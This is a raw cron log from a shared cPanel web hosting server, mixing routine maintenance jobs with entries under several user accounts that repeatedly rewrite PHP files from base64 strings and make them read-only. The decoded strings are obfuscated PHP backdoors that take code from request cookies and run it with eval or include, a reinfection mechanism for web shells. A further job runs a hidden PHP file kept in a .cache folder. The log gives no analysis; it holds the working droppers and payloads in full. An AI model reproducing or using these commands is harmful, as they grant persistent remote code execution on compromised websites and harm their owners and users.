Mar  1 15:23:02 medusa CROND[22645]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:23:02 medusa CROND[22643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:23:02 medusa CROND[22646]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:23:02 medusa CROND[22647]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:23:02 medusa CROND[22648]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:23:02 medusa CROND[22649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:23:02 medusa CROND[22656]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:24:01 medusa CROND[12930]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:24:02 medusa CROND[12993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:24:02 medusa CROND[13022]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:24:02 medusa CROND[13023]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:24:02 medusa CROND[13024]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:24:02 medusa CROND[13025]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:24:02 medusa CROND[13026]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:24:02 medusa CROND[13029]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:24:02 medusa CROND[13030]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:24:02 medusa CROND[13034]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:24:02 medusa CROND[13035]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:24:02 medusa CROND[13036]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:24:02 medusa CROND[13040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:25:01 medusa CROND[2863]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:25:02 medusa CROND[2978]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:25:02 medusa CROND[2980]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:25:02 medusa CROND[2979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:25:02 medusa CROND[2983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:25:02 medusa CROND[2985]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:25:02 medusa CROND[2990]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:25:02 medusa CROND[2984]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:25:02 medusa CROND[2991]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:25:02 medusa CROND[2999]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:25:02 medusa CROND[3000]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:25:02 medusa CROND[3002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:25:02 medusa CROND[3004]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:25:02 medusa CROND[3003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:25:02 medusa CROND[2997]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
